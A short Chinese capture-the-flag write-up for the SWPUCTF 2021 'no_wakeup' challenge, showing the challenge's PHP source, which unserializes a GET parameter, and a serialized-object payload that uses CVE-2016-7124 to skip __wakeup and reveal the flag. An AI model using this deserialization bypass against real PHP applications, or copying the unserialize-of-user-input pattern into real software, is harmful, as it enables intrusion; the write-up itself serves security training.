(反序列化)[SWPUCTF 2021 新生赛]no_wakeup

打开题目

复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

__destruct->__wakeup(要绕过)

反序列时先检测有没有wakeup方法,有就先调用

但是CVE-2016-7124影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

即可

相关推荐
Bruce12318 小时前
web专题之php代审(二)
php
BingoGo19 小时前
PHP-FPM 深度调优指南 告别 502 错误,让你的 PHP 应用飞起来
后端·php
echoarts19 小时前
Rayon Rust中的数据并行库入门教程
开发语言·其他·算法·rust
2303_Alpha19 小时前
SpringBoot
笔记·学习
萘柰奈19 小时前
Unity学习----【进阶】TextMeshPro学习(三)--进阶知识点(TMP基础设置,材质球相关,两个辅助工具类)
学习·unity
沐矢羽20 小时前
Tomcat PUT方法任意写文件漏洞学习
学习·tomcat
好奇龙猫20 小时前
日语学习-日语知识点小记-进阶-JLPT-N1阶段蓝宝书,共120语法(10):91-100语法+考え方13
学习
alphageek820 小时前
Electron开源库入门教程:跨平台桌面应用框架
javascript·其他·electron·开源
向阳花开_miemie20 小时前
Android音频学习(十八)——混音流程
学习·音视频
工大一只猿21 小时前
51单片机学习
嵌入式硬件·学习·51单片机